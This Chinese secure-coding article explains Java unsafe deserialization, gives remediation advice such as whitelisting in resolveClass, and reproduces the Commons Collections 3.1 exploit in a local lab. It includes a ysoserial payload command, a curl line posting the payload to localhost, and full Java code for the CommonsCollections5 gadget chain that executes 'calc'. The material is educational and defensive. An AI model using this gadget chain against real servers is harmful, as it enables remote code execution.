代码安全-不安全的反序列化

# Dynamic Code Evaluation: Unsafe Deserialization 动态代码评估:不安全的反序列化
Java序列化是指把Java对象转换为字节序列的过程;Java反序列化是指把字节序列恢复为Java对象的过程;比如用于缓存、网络传输等情况。
```java
`implements java.io.Serializable`
private void writeObject(java.io.ObjectOutputStream out)
throws IOException
private void readObject(java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException;
```
## 概述:
在运行时对用户控制的对象流进行反序列化,会让攻击者有机会在服务器上执行任意代码、滥用应用程序逻辑和/或导致 Denial of Service。
## 解释:
自定义反序列化例程是在可序列化类中定义的,这些类需要存在于运行时类路径中,并且不能被攻击者注入,因此这些攻击的可利用性取决于应用程序环境中可用的类。不幸的是,常见的第三方类甚至JDK类可能被滥用以耗尽JVM资源、部署恶意文件或运行任意代码。
## 修复建议:
不要在未验证对象流内容的情况下反序列化不受信任的数据。在反序列化之前需要验证数据,需要含有类的元描述数据和成员字段的序列化字节,Java序列化过程允许开发人员读取类描述并决定是否继续进行对象的反序列化或中止它。为了实现这个功能,类必须是java.io.ObjectInputStream的子类并且实现resolveClass方法,在该方法进行类验证。始终使用严格的白名单方法来只反序列化预期类型。不建议使用黑名单方法,因为攻击者可能会使用许多可用的小工具来绕过黑名单。
当在库或框架中进行反序列化时(例如,当使用JMX、RMI、JMS、HTTP调用程序时),上述建议并不有用,因为它超出了开发人员的控制范围。
在这些情况下,您可能需要确保这些协议满足以下要求:不公开。使用身份验证。使用完整性检查。使用加密。
[带你掌握 java 反序列化漏洞及其检测](https://xie.infoq.cn/article/23206dcdb29bcbf5f379fc790)
## 以Apache CommonsCollections 3.1 漏洞为例 进行 漏洞复现
使用 spring-boot 编写一个可以接收 http 数据并反序列化的应用程序。
使用 [https://start.spring.io/](https://xie.infoq.cn/link?target=https%3A%2F%2Fstart.spring.io%2F) 生成一个 spring-boot 应用,选择 Maven Project、java8
## 生成payload
https://github.com/frohoff/ysoserial 反序列化工具
`java -jar ysoserial-all.jar CommonsCollections5 "calc.exe" > poc`
curl http://localhost:8082/mirroring/rmi --data-binary @poc -v
```java
public static void main(String[] args) throws Exception {
String pocFile = "C:\\Users\\Administrator\\Downloads\\poc2";
final String[] execArgs = new String[] { "calc" };
// inert chain for setup
// real chain for after setup
final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
// 这里是我们输入的命令 calc.exe
new InvokerTransformer("exec", new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
// 执行“链条”该类的transform会调用transformer使用反射执行命令
final Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
// 该类的get接口如果输入的key找不到会调用transform函数触发命令执行
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
// 该类的toString会最终调用lazyMap.get
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
// 最终反序列化的类,readObject会调用entry.toString
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
// 写文件
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream(pocFile));
outputStream.writeObject(val);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream(pocFile));
// 需要commons-collections的3.2.2版本,但升到3.2.2就不需要SerialKiller拦截了,内部有做安全处理,或配置开放后再处理。
// 目前仅讲述原理,不纠结
// SerialKiller inputStream = new SerialKiller(new FileInputStream(pocFile), "serialkiller.conf");
inputStream.readObject();
}
```